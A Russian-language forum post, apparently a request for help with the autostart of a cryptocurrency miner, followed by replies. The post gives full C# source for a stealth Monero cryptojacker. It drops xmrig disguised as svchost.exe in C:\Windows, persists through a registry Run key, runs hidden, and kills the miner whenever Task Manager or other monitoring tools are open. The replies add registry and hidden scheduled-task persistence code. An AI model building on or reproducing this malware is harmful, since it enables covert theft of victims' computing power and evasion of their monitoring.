Пишу майнер по этой теме: https://zelenka.guru/threads/364206/ У меня не работает автозагрузка. Помогите. Вот код. using Microsoft.Win32; using System.Diagnostics; using System.IO; using System.Reflection; using System.Threading; namespace instail { class Program { static string direct = @"C:\Windows"; //Путь к папке, где будут храниться все файлы static string _filename = "svchost"; //Название майнера static string proc = "20";//нагрузка на CPU static string pool = "stratum+tcp://xmr.pool.minergate.com:45560"; // Pool static string user = "яяя"; //User static string filename = _filename + ".exe"; static string exeToRun = direct + @"\" + filename; const string name = "HdDriver"; static string ExePath = ""; static void Main(string[] args) { Install(); //Копируем файлы Майнера в папку CopyFile(); //Копируем файлы бота в папку SetAutorunValue(true);//Делаем автозапуск (взяв з https://zelenka.guru/threads/345524/) StartMine(); //Запускаем майнер while (true) //Мониторим процессы, если диспетчер задач открытый закрываем майнер { int con = 0; Process[] procs = Process.GetProcesses(); foreach (Process p in procs) { if ((p.ProcessName == "taskmgr") || (p.ProcessName == "Taskmgr") || (p.ProcessName == "ProcessHacker") || (p.ProcessName == "Procexp") || (p.ProcessName == "Procexp32") || (p.ProcessName == "Procexp64") || (p.ProcessName == "Resmon") || (p.ProcessName == "Autoruns") || (p.ProcessName == "Procmon")) { Process[] miner = Process.GetProcessesByName(_filename); if (miner.Length > 0) { miner[0].Kill(); } con++; } } if (con == 0) { Process[] miner1 = Process.GetProcessesByName(_filename); if (miner1.Length == 0) { StartMine(); } } Thread.Sleep(500); } } private static void StartMine() { Process run = new Process(); run.StartInfo.Arguments = $" --max-cpu-usage={proc} --donate-level=1 -o {pool} -u {user} "; run.StartInfo.FileName = exeToRun; run.StartInfo.RedirectStandardOutput = true; run.StartInfo.UseShellExecute = false; run.StartInfo.CreateNoWindow = true; run.Start(); } public static void CopyFile() { if (!File.Exists(direct + @"\" + "svhost.exe")) { string filePath = Assembly.GetExecutingAssembly().Location; File.Copy(filePath, direct + @"\" + "svhost.exe"); } } public static bool SetAutorunValue(bool autorun) { const string name = "systems"; string ExePath = direct + @"\" + "svhost.exe"; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Flush(); reg.Close(); } catch { return false; } return true; } private static void Install() { byte[] exeBytes = EzMoney.Properties.Resources.xmrigxxx; if (!Directory.Exists(direct)) { Directory.CreateDirectory(direct); } if (!File.Exists(exeToRun)) { using (FileStream exeFile = new FileStream(exeToRun, FileMode.Create)) { exeFile.Write(exeBytes, 0, exeBytes.Length); } } } } } Код using Microsoft.Win32; using System.Diagnostics; using System.IO; using System.Reflection; using System.Threading; namespace instail { class Program { static string direct = @"C:\Windows"; //Путь к папке, где будут храниться все файлы static string _filename = "svchost"; //Название майнера static string proc = "20";//нагрузка на CPU static string pool = "stratum+tcp://xmr.pool.minergate.com:45560"; // Pool static string user = "яяя"; //User static string filename = _filename + ".exe"; static string exeToRun = direct + @"\" + filename; const string name = "HdDriver"; static string ExePath = ""; static void Main(string[] args) { Install(); //Копируем файлы Майнера в папку CopyFile(); //Копируем файлы бота в папку SetAutorunValue(true);//Делаем автозапуск (взяв з https://zelenka.guru/threads/345524/) StartMine(); //Запускаем майнер while (true) //Мониторим процессы, если диспетчер задач открытый закрываем майнер { int con = 0; Process[] procs = Process.GetProcesses(); foreach (Process p in procs) { if ((p.ProcessName == "taskmgr") || (p.ProcessName == "Taskmgr") || (p.ProcessName == "ProcessHacker") || (p.ProcessName == "Procexp") || (p.ProcessName == "Procexp32") || (p.ProcessName == "Procexp64") || (p.ProcessName == "Resmon") || (p.ProcessName == "Autoruns") || (p.ProcessName == "Procmon")) { Process[] miner = Process.GetProcessesByName(_filename); if (miner.Length > 0) { miner[0].Kill(); } con++; } } if (con == 0) { Process[] miner1 = Process.GetProcessesByName(_filename); if (miner1.Length == 0) { StartMine(); } } Thread.Sleep(500); } } private static void StartMine() { Process run = new Process(); run.StartInfo.Arguments = $" --max-cpu-usage={proc} --donate-level=1 -o {pool} -u {user} "; run.StartInfo.FileName = exeToRun; run.StartInfo.RedirectStandardOutput = true; run.StartInfo.UseShellExecute = false; run.StartInfo.CreateNoWindow = true; run.Start(); } public static void CopyFile() { if (!File.Exists(direct + @"\" + "svhost.exe")) { string filePath = Assembly.GetExecutingAssembly().Location; File.Copy(filePath, direct + @"\" + "svhost.exe"); } } public static bool SetAutorunValue(bool autorun) { const string name = "systems"; string ExePath = direct + @"\" + "svhost.exe"; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Flush(); reg.Close(); } catch { return false; } return true; } private static void Install() { byte[] exeBytes = EzMoney.Properties.Resources.xmrigxxx; if (!Directory.Exists(direct)) { Directory.CreateDirectory(direct); } if (!File.Exists(exeToRun)) { using (FileStream exeFile = new FileStream(exeToRun, FileMode.Create)) { exeFile.Write(exeBytes, 0, exeBytes.Length); } } } } }
using Microsoft.Win32; const string name = "MyTestApplication"; public bool SetAutorunValue(bool autorun) { string ExePath = System.Windows.Forms.Application.ExecutablePath; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Close(); } catch { return false; } return true; } Код using Microsoft.Win32; const string name = "MyTestApplication"; public bool SetAutorunValue(bool autorun) { string ExePath = System.Windows.Forms.Application.ExecutablePath; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Close(); } catch { return false; } return true; }
public void Planirovshik() { try { Process autorun = new Process { StartInfo = new ProcessStartInfo ("cmd", $"/C schtasks /create /tn \\"+"Название в планировщике"+" /tr " + "Путь до файла вплодь до exe" + " /st 00:00 /du 9999:59 /sc once /ri 1 /f") }; autorun.StartInfo.CreateNoWindow = true; autorun.StartInfo.UseShellExecute = false; autorun.Start(); } catch { } } Использование: Planirovshik(); Код public void Planirovshik() { try { Process autorun = new Process { StartInfo = new ProcessStartInfo ("cmd", $"/C schtasks /create /tn \\"+"Название в планировщике"+" /tr " + "Путь до файла вплодь до exe" + " /st 00:00 /du 9999:59 /sc once /ri 1 /f") }; autorun.StartInfo.CreateNoWindow = true; autorun.StartInfo.UseShellExecute = false; autorun.Start(); } catch { } } Использование: Planirovshik();